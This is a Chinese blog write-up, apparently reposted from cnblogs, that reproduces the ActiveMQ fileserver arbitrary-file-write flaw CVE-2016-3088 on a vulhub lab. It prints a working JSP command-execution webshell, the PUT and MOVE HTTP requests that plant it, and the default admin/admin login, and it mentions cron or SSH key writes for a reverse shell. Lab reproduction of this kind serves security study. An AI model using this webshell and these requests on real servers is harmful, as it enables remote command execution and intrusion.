首页 > 其他 > 详细

CVE-2016-3088 ActiveMa任意文件写入漏洞复现

时间:2021-04-01 00:19:41      阅读:36      评论:0      收藏:0      [点我收藏+]

ActiveMa任意文件写入漏洞复现

0x01.环境搭建

利用vulnhub搭建漏洞靶场

service docker start
docker-compose up -d

技术分享图片

查看开启的端口号

技术分享图片

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。

访问http://target_ip:8161/看到web页面,说明环境已成功运行。

技术分享图片

漏洞详情

本漏洞出现在fileserver应用中,ileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法

  • 写入webshell
  • 写入cron或ssh key等文件
  • 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

0x02.影响版本

Apache ActiveMQ 5.0.0 - 5.13.2

0x03.漏洞复现

1.写入webshell

写入webshell,需要写在admin或api中,这两个都需要登录才能访问

默认账号密码均为admin

首先访问http://target_ip:8161/admin/test/systemProperties.jsp,查看ActiveMq绝对路径,可知为/opt/activemq

技术分享图片

之后使用bp上传webshell

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.89.129:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 329

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

技术分享图片

返回的状态码为204

技术分享图片

访问文件内容http://192.168.89.129:8161/fileserver/1.txt,发现成功上传

技术分享图片

之后将移动到web目录下的api或者admin文件夹中

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: target_ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 6

sddaad//必加
坑坑坑坑坑

这里我遇到一个大坑,就是无论网上找的的任何文章,这个http头下面都没有任何内容(就是Content-Length为0),导致了一直超时无法成功,后来随便加上了一点内容,就成功返回204了

技术分享图片

技术分享图片

最后访问http://target_ip:8161/api/shell.jsp?cmd=ls,成功执行了命令

技术分享图片

待续

CVE-2016-3088 ActiveMa任意文件写入漏洞复现

原文:https://www.cnblogs.com/-Anguvia-/p/14603362.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!